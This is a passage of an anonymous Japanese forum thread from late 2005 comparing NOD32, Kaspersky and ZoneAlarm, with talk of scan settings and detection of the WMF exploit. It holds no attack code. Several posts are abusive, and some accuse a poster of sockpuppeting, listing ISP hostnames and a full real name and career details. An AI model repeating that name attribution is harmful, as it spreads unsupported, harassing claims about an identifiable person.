419 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:42:13 ]: シンプルオブベストの検索結果のうち日本語のページ約 269 件中 1 - 10 件目 (0.19 秒)
シンプルイズベストの検索結果のうち日本語のページ約 187,000 件中 1 - 10 件目 (0.09 秒)
420 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:42:44 ]: >>418
知らんなあw
421 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:42:54 ]: 自演みえみえw
422 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:43:18 ]: 自演スレだからね。
423 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:43:46 ]: と荒らしが(以下省略
424 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:43:55 ]: >>418
よかったね～IDの出ない板で
425 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:44:11 ]: シンプルオブベスト
426 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:44:21 ]: >>415を教えてください
427 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:45:17 ]: オブだろうがイズだろうが
違わなえよ
428 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:45:34 ]: >>426
ZoneAlarmはシンプルオブベストだそうだ。

意味がわからんけどw
429 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:45:57 ]: >>409
それなによ
どこからダウンロードせよというのか知らんが>>360ならIMON止めててもAMONで検知する。
ただし、全て対象の場合な。
430 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:46:06 ]: 違わなえよに該当するページが見つかりませんでした。

検索のヒント
キーワードに誤字・脱字がないか確かめてください。
違うキーワードを使ってみてください。
より一般的な言葉を使ってみてください。
431 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:46:38 ]: >>419
オブとイズで大違いだなw
432 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:47:33 ]: ワラタ
433 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:52:57 ]: >>426
ZoneAlarmでも問題ないだろうけど
少し金かけてもいいなら Outpost pro が安く買える。
最新版は英語だがアンチスパイウェアの機能もついてる。
434 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/30(金) 21:53:39 ]: PFWにアンチスパイなんていらね
435 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:54:37 ]: >>409
リアルタイムでは検出しないな。AMON機能せず。
検査したら検出する。まぁ当然だが。
436 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:56:10 ]: >>429
wmfテストファイル。
パス付きなのでIMONは意味がない。
437 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:56:35 ]: >>409
> AMONで検出できんの？

全てを対象にしていると検知される。
話は変わるが、面白かったのがKaspersky。
検知はするのだが、検知前にメモ帳が開く、これには笑えた。
438 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:57:19 ]: このソフトを使った感想, 2005/08/27
レビュアー：ウイルス対策ソフト研究 - 自分が書き込んだレビューをすべて見る

このソフトは高速スキャンを売り物にしてますがシステム完全スキャンをすると私のパソコンでは１時間２０分かかります　
そこでウイルスが検出されてウイルス駆除ボタンを押しても再検査されるのでシステム完全スキャンと同じ　さらに１時間２０分、時間がかかります！
最初から駆除ボタンを押して検査すればいいのですが　それだとウイルスに感染したファイルを駆除前に確認出来ません！　
又　ウイルスに感染したファイルは赤字で表示されますが　その感染したファイルログを探して確認するのに異常な時間がかかる！
又　細かく設定をしなければいけないようになっているので初心者には不向きです

これってほんとですか？
439 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:59:23 ]: >>438
PCによる。
ちなみに私のマシンで完全スキャンをするとKasperskyだと18時間掛かる。
とうぜん使えねぇわけで・・・
440 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:02:35 ]: 駆除って赤字を右クリックして駆除ってやりゃいいんじゃなかったっけ。
441 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:03:31 ]: >>439
違わなえよ
442 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:05:27 ]: NOD32とNORTONとKasperskyとマカフィー
アンチウイルスだけの比較ではどれがいいのよ…
443 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:06:57 ]: > そこでウイルスが検出されてウイルス駆除ボタンを押しても再検査されるのでシステム完全スキャンと同じ　さらに１時間２０分、時間がかかります！
これバカ。
検査が済んだら、ログみて自分で削除するのが正解。

> 最初から駆除ボタンを押して検査すればいいのですが　それだとウイルスに感染したファイルを駆除前に確認出来ません！　
これ嘘。
アクションを選ぶようにしておけばよいし、デフォルトはアクション選択。

> 又　ウイルスに感染したファイルは赤字で表示されますが　その感染したファイルログを探して確認するのに異常な時間がかかる！
掛からない、簡単。

> 又　細かく設定をしなければいけないようになっているので初心者には不向きです
この人の知能では無理っぽい。
444 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:06:58 ]: >>438
嘘です。
あんまりいじらずに書いているようだ。
445 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:07:19 ]: >>442
違わなえよ
446 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:08:59 ]: >>442
NOD32

以外
447 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:10:15 ]: > 話は変わるが、面白かったのがKaspersky。
> 検知はするのだが、検知前にメモ帳が開く、これには笑えた。

笑ったwwwwww
448 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:10:54 ]: ようするに全てのファイルを検査にチェックをいれとけばいいのか？それとも入れない方がいいのか？
449 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:10:58 ]: 自演乙
450 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:11:41 ]: >>448
初期値ですべてなんだからそれでいいじゃん
451 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:11:59 ]: >>448
運用者の技量次第ってことじゃないかな？
私は当然、設定済みの拡張子のみだがな。
452 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:13:20 ]: >>451
シンプルオブベストな設定を教えてください。
453 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/30(金) 22:13:21 ]: >>451
デフォルトで全検なんだから技量も何も無いだろ馬鹿
454 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:13:43 ]: NOD32インストールしたらタスクトレイに3つもアイコンが増えてしまうみたいだけど
これって不便なの？
455 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:14:05 ]: >>453
設定値を変えて運用するのは技量だろ？
456 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:14:43 ]: >>455
違わなえよ
457 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:15:22 ]: プログラムの設定も、上記の3つにNOD32本体を加えた計4つのプログラムそれぞれに対して設定を行わなければならないので、
どこで何の設定をすればよいのかわからずにあちこち探し回る事態が起きやすい。

これって本当？
458 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:15:27 ]: 　　　　　　　　　　　　　,.,.,.,.,.,.,.,.,__
　　　　　　　　　　　,,;f::::::::::::::::::::::ヽ
　　　　　　　　　　　i::::::::/'"￣￣ヾi
　　　　　　　　　　　|:::::::|　,,,,,_　 ,,,,,,|
　　　　　　　　　　　|r-==（　｡);（　｡)
　　　　　　　　　　　(　ヽ　　:::__)..:: }
　　　　 ,＿＿__／ヽ　　ー==　;　ほほう
　　　　 r'"ヽ　　 t､　　＼＿＿_ !
　　　　/ ､､i　　　ヽ＿＿,,/
　　　 /　ヽﾉ　　j　,　　　j　|ヽ　
　　　 |⌒`'､__ /　/　　　/r　 |
　　　 {　　　　￣''ｰ-､,,_,ﾍ＾　|
　　　　ゝ-,,,＿＿＿＿_）--､j
　　　 /　　＼__　　　　　　/
　　　|　　　　"'ｰ‐‐---''
459 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:16:29 ]: >>457
モジュールもデフォで十分
460 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:16:34 ]: >>457
シンプルオブベストなんで。
シンプルイズベストとは違います。
461 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:16:55 ]: >>457
いちいちうるさいね。
馬鹿が設定しようとするからだよ。初期値のままで問題なし。
462 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:16:57 ]: >>454
何時の時代の話？

>>457
何の話？
主文がないと意味不明だぞっと。
463 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/30(金) 22:17:49 ]: >>455
つまりNODはデフォルトじゃ使い物にならない糞フトなのね？
464 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:17:57 ]: 口調に注目。
またNOD厨の雑音が、他の製品スレ（Kaspersky）を200レス以上の自演で埋めていた。

>Kaspersky Lab Part5
>pc8.2ch.net/test/read.cgi/sec/1130498109/
>951 名前：名無しさん＠お腹いっぱい。　投稿日：2005/12/06(火) 01:52:56
>あと、企業によっては恐ろしく古いシステムを使いつづけてる場所もあるぞっと。

>スクープ！録音さん
>z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
>902 ： ◆Rb.XJ8VXow ：04/04/18 21:19 ID:CE6MO5Gj
>あ、887はどんな言語でもいいぞっと。
>さらに、データの読み込み部は記述ふようだぞっと。

雑音
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp

Q
usr.starcat.ne.jp
dsl.gol.ne.jp
465 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:18:28 ]: >>454
そんな嘘どこに書いてある？
466 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:18:35 ]: >>463
好みの問題であって、糞問題ではないなw
467 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:19:14 ]: >>466
違わなえよ
468 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:19:42 ]: >>465
ttp://pcweb.mycom.co.jp/news/2003/02/20/11.html
469 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:19:42 ]: >>466
好みの問題を技量次第なんて言うからよ。
470 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:19:58 ]: >>466
好み？
好みって何？
NODってデフォじゃ糞重くてだめだとか？
ネットワークプリンタが使えないとか？
471 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:21:01 ]: >>468
古いバージョンではそうなのか。
今は一つ。
472 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:21:27 ]: しかし、面白い展開になってきたなw
必死に叩こうとしている荒らしが一匹いるのだが・・・
叩けば叩くほどNOD32の優秀さが証明されている。

遂には、ガキのような発言を繰り返すだけっとw
焦るんじゃねぇぞ >> 荒らし。
473 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:21:32 ]: >>465
知りもしないのならレスするな。
474 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:22:21 ]: 違わなえよ
シンプルオブベスト

焦っているのはこの擁護厨。
475 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:23:13 ]: 頭の悪い子が紛れ込んでるみたいだね。
みんなスルーしてもいいんじゃないかな。
476 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:23:20 ]: >>468
これは古くて今は改善されてるでおｋ？
477 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:23:46 ]: >>468
それバージョン1の時代な。
日本語バージョンも無い時代の話。
今でもそのバージョンダウンロードできるけど性能は思いっきり古いぞ。
DOSマシンでまだ使っている人がいるらしいが、もうじきリリース打ち切りだ。
478 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:24:55 ]: 今、不満とかありますか？
479 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:25:36 ]: >>475
頭の悪い1をいじるスレなんで、それは無理。
480 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:25:56 ]: 必死にインチキ情報で叩こうとしていて笑える。
481 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:27:34 ]: >>480
違わなえよ
482 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:41:04 ]: >>440
> 駆除って赤字を右クリックして駆除ってやりゃいいんじゃなかったっけ。

正解

> ttp://49uper.com:8080/html/img-s/102544.jpg
483 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:42:04 ]: シンプルオブベスト
484 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:46:25 ]: 名言だよな。心に残る。
485 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:47:34 ]: 違わなえよ
486 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:47:58 ]: 今日の名言：
違わなえよ
シンプルオブベスト
487 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:48:05 ]: 迷言
488 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:49:35 ]: 荒らしが必死に騒いでいるなぁ。
俺からするとお前等のほうがずっとバカなわけだが、見えてませんか？
489 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:50:09 ]: 違わなえよ
490 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:50:40 ]: シンプルオブベスト
491 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:51:04 ]: ↑バカ丸出しw
492 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:52:26 ]: バカに飲ます薬無しってな。
493 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:52:59 ]: 馬鹿に限ってちょっとした間違いに大騒ぎする。
494 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:53:14 ]: 仕掛け（トリップ）にさえ気付かないアフォって・・・（笑
495 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:53:46 ]: 骨髄反射
496 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:53:48 ]: フィールドオブビューみたいなもんか
497 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:54:16 ]: >>468
使いにくい点は、改善されているということだな。
現行バージョンで改善してもらいたい部分てなに？

>>443 で検出後の駆除の方法かいているけど、
駆除・削除可能な(つまり検出したファイル)リストを
別ウィンドウに出してもらいたいな。
検査ファイル数多くて、検出ファイルも多いと、
検査終了まで張り付いていないといけないのが難点。
現状オンデマンドスキャンは
駆除(and 隔離)できなければ、削除(and 隔離)か？

>>468 にあるリンクによると、中国シェアNo.1は
「ウイルスドクター」らいしけど、キングは何時頃No.1に
なったんだろ・・・
498 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:55:23 ]: あいかわらす・・・・・・・（笑
499 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:56:38 ]: シャープの文豪
500 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 22:59:04 ]: どこでも買える6,000円の超高級電源つきPCケースはまだ？
501 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:00:10 ]: >>388
あんたが初心者で良く理解していないということはよくわかった。
502 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:02:56 ]: Slot1 Xeon
503 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:04:54 ]: 34 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/30(金) 02:16:58
ここNOD厨の溜まり場だったのか
気づくの遅すぎたわｗ
504 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:04:59 ]: 【割れ厨】フォルダを開いたらサヨウナラ　最強のウィルス誕生【最後の日】3
ttp://news19.2ch.net/test/read.cgi/news/1135947195/

既出？かな。
ﾊﾞｰｼﾞｮﾝ 1.1344　で確認したけど開く前にトロイとみなして実行されなかった。
ﾖｶﾀ。
505 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:05:54 ]: >>504
既出も何もずっとその話ばっかだろ。
506 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:06:14 ]: >>503
それどこ？
URL希望。
507 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:09:09 ]: >>505
そうなのか。悪かった。荒れててスレ読む気にもなれん。
508 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:09:46 ]: >>504
NOD32 はウィルス定義ファイル1.1342 (20051228)で完全に対応済みな。
509 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:11:21 ]: 悲惨なのがカスペな。

> 一番いいセキュリティソフトはなんだ!!Part8
> pc8.2ch.net/test/read.cgi/sec/1132160664/913
510 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:12:13 ]: 悲惨なのは

シンプルオブベスト
違わなえよ
511 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:13:34 ]: ネタを仕込んでみる♪
512 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:14:30 ]: wmfファイルの未知の脆弱性!?
久々にやってしまいました・・・。それも仕事納めの日に (；´Д｀)ノ
kikuz0u.x0.com/td/?date=20051228#p01
513 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:17:00 ]: ビックドライブ
514 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:21:40 ]: HDDドライブ
515 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:23:20 ]: >>509
まだ対応出来てないのか。
516 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:27:58 ]: 834 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2005/12/29(木) 03:19:06
www.st.ryukoku.ac.jp/~kjm/security/memo/2005/12.html#20051228_WMF
>NOD32 はウィルス定義ファイル1.1342 (20051228) で
>Win32/TrojanDownloader.Wmfex トロイとして対応されたようです。
>水野さん情報ありがとうございます。

Z音の本名？（；＾ω＾）
517 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:32:46 ]: >>515
問題の根が深そうだよ。
オンデマンドだと全て検知してくれるようになったが、解凍した書庫の存在するフォルダを開くと
問題のコードが実行されてしまう。
もちろん、その状態で検知メッセージは出ているのだが、これじゃどうしようもない。
518 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:33:23 ]: 134 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2005/12/29(木) 21:05:46 ID:???
日立の中研に、
仕事ができなくてリストラされた、
大阪出身のミズノという男は居たのだろうか？
519 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 23:45:11 ]: 水野　明宏
520 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 00:05:39 ]: >>517
ﾌﾟｹﾞﾗｯﾁｮ。
521 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 00:50:37 ]: NOD32に最高に相性のいいPFWソフトを教えてくれぃ
522 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 00:55:40 ]: >>521
ZAでも使ってろ。
523 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 01:03:17 ]: ZAがNODにとってシンプルオブベスト。
524 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 01:10:35 ]: NOD32とZoneAlarmの組み合わせが最強。
一番軽いアンチウイルスには一番重いファイアーウォールがお似合い。
525 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 01:32:00 ]: もしZoneAlarmが重いと感じるならそれはマシンパワーが不足してる証拠。
買い替えの時期だ。
526 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 01:37:38 ]: >>525
一概に言えないよ。
ZA導入後に、コンポーネントの入れ替え(インストールソフト含む)が頻繁に行われるとZAのDBが肥大化することで
重くなってしまう、これは最新のPCでも同じ。

もちろん、そこで一度ZAを消して再導入すれば肥大化問題は回避出来る。
通常の使用環境なら大きな問題にはならないとも付け加えておく。
527 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 01:55:26 ]: 違わなえよ
528 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 02:25:54 ]: なるほど
529 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 02:29:25 ]: シンプルオブベスト
530 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 04:25:21 ]: つ1.1345 (20051230)
531 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 04:33:52 ]: カスペも中途半端ながら対応した模様。

一番いいセキュリティソフトはなんだ!!Part8
pc8.2ch.net/test/read.cgi/sec/1132160664/970
532 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 08:31:10 ]: つ1.1346 (20051230)
533 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 09:04:37 ]: つ1.1347 (20051230)
なんだ、このうｐだての嵐は
534 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 09:08:45 ]: たぶん例の問題への対応が不完全なんで、
泡を食って立て続けにうｐだてしているんだろうな。
Eset、乙です。
535 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 09:14:14 ]: NOD32定義ファイル: 1.1347 (20051230)
Win32/IRCBot.PH (2), Win32/Mytob.MH, Win32/TrojanDownloader.Agent.BQ, Win32/TrojanDownloader.IstBar

NOD32定義ファイル: 1.1346 (20051230)
Win32/Mytob.NT (2)
536 名前：中山　健 [2005/12/31(土) 09:23:54 ]: 　
537 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 10:36:07 ]: >>535
自動対応ばっかだな。休みだからってThreatSense.Netで送信してる奴が多いんじゃねえの。
538 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 10:37:12 ]: 今NISが入ってるんですがNOD体験版を入れるためには
539 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 10:37:19 ]: amonでヒューリスティックを有効にするとファイル操作が激重になるのは仕様なの？
540 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 10:38:46 ]: >>538
日本語で書け
541 名前：538 mailto:sage [2005/12/31(土) 10:38:55 ]: すいません。ミスりました。
今NISが入ってるんですがNOD体験版を入れるために
何かしないといけないことはありますか？
542 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 10:39:58 ]: >>541
ＮＩＳのアンインスコとレジストリの掃除
レジストリの掃除はノートンスレ参照のこと
543 名前：538 mailto:sage [2005/12/31(土) 10:40:40 ]: やっぱりアンインスコしなくてはいけないのですか？
544 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 10:42:40 ]: >>543
いけませんね
545 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 11:20:07 ]: >>543
別に強要はしないけどな
546 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 11:20:56 ]: >>541
NISだからファイアーウォールを別途用意しなくてはならない
現在どんな状態で使ってるのかにもよるが
547 名前：名無しさん＠お腹いっぱい。 [2005/12/31(土) 11:25:20 ]: ＮＯＤってＦＷついてないの？昨晩落札してしまった・・・・・・・・・・
548 名前：名無しさん＠お腹いっぱい。 [2005/12/31(土) 11:37:16 ]: アップデートしようとするとサーバーに繋ぐのに失敗したって出るんだけど
英語試用版だといじわるするの
そんで串かますとすぐ繋がるんだけど
549 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 12:35:58 ]: やっばりAMONで全ての拡張子を検索にしないと
拡張子を変えたwmfファイルを検出できないな。
550 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 12:45:17 ]: Ｚ音は嘘つきだからなｗｗ
551 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 12:49:27 ]: バージョンによってはそうなってるな。
ただ俺はデフォルトで全ての拡張子の検査になってても特定拡張子に切り替えるけどな。
こういう事態でもない通常時で全ての拡張子を検査する意味がねえ。
552 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 12:51:21 ]: AMONとオンデマンドスキャナとも検査対象ファイルの拡張子リストを全てのファイルを検査に変更したよ
553 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 12:51:55 ]: >>548
ｂａｎｇされてる
554 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 12:56:12 ]: AMONは最適化にしとけば全てのファイルにしてても気にならないがな。
555 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/31(土) 12:59:43 ]: うわｗ
全てを対象にしたら重い重いｗｗｗ
556 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:01:05 ]: しょっぼいPC使ってんだな
557 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:01:59 ]: >>556
ＺＡは軽く動かせるＰＣですが？
558 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:02:41 ]: （ ´_ゝ｀）ﾌｰﾝ
559 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 13:03:53 ]: >>558
なんだそりゃ？
え？おい
560 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:04:00 ]: 全てを対象にしても全然負担かわらないけどなぁ
561 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:04:17 ]: 一方で軽いNODを薦めて一方で重いZAを薦める思考回路が理解できんよ
ZAなんかPFW界のノートンじゃねえか
562 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:05:00 ]: >>560
ま、そりゃ君や他人のパソコンの中にある内容物にもよると思うよ
563 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:06:19 ]: >>561
遅レス乙
564 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 13:07:22 ]: ペストパトロールは仕様だから誤検出ＯＫ
ＺＡはいいソフトだから重くてＯＫ（重いのはＰＣが糞だから）
のくせにNODに関しては基地外みたいにシビアに見るんだよな
数秒程度の差でも糞重いとか抜かすしな
565 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:08:25 ]: >>564
だってアンチは基地外だもん。しょうがないよ。
566 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/31(土) 13:09:12 ]: >>565
何言ってんの？
俺はＮＯＤ厨が基地外だって言ってるんだけど
567 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/31(土) 13:11:39 ]: Ｚ音は今日は工作活動が激しいね
568 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:12:39 ]: ｍ9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ
569 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:14:10 ]: >>566
すごい思考回路だな
570 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 13:16:55 ]: ＮＯＤはＦＷがつくんだってね
ぼろをださなきゃいいねｗ
571 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:18:26 ]: なにかっつーと雑音雑音って書くから基地外はすぐわかっていいなwwwww
572 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 13:21:49 ]: 俺はＺ音とは書いたが雑音とは一言も書いていない
573 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:39:08 ]: ZAは糞だろ。
NTP問題の議論を見たか？
議論のすり替えをやるユーザーも糞だぜ。
574 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 13:51:35 ]: >>573
激しく同意
575 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:54:07 ]: IMON有効のままじゃ、フレッツv6ステージとCTU設定画面に行けんとおもったら
なんか普通に行けたな。てなわけでAvast!から出戻ってきた
576 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:56:07 ]: どこかでNODを全検索にすると1時間半もかかるんです！！
みたいなカキコがあったがな、
Kasperskyで全検索すると18時間もかかったんだよ！
　
この差が理解できない馬鹿は死んでいい。
577 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 13:58:30 ]: >>573
スレ違いだが

> NTP問題の議論を見たか？
それ設定の仕方を知らないか、我侭言ってるだけだろ？
このスレにも書いている奴がいるが、ZAはポート指定できないから糞とかいってるようだが、
ZAの特徴はポート指定が要らないことでありそこが扱い易さとなっている。
ZA自身がどのポートを開閉するかを自動設定する仕組みだ。
もちろん、自動設定が完璧には出来ないから細かなところはルータで補うことになる。
